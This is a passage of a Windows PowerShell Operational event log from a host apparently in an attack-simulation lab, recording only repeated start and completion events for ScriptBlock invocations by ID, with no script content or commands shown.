ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035020
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035019
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035018
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035017
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035016
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035015
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035014
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035013
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035012
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035011
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035010
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035009
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035008
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035007
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035006
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035005
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035004
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035003
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035002
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035001
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035000
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034999
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034998
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034997
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034996
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034995
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034994
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034993
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034992
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034991
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034990
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034989
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034988
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034987
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034986
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034985
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034984
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034983
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034982
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034981
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034980
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034979
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034978
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034977
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034976
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034975
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034974
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034973
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034972
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034971
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034970
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034969
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034968
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034967
Keywords=None
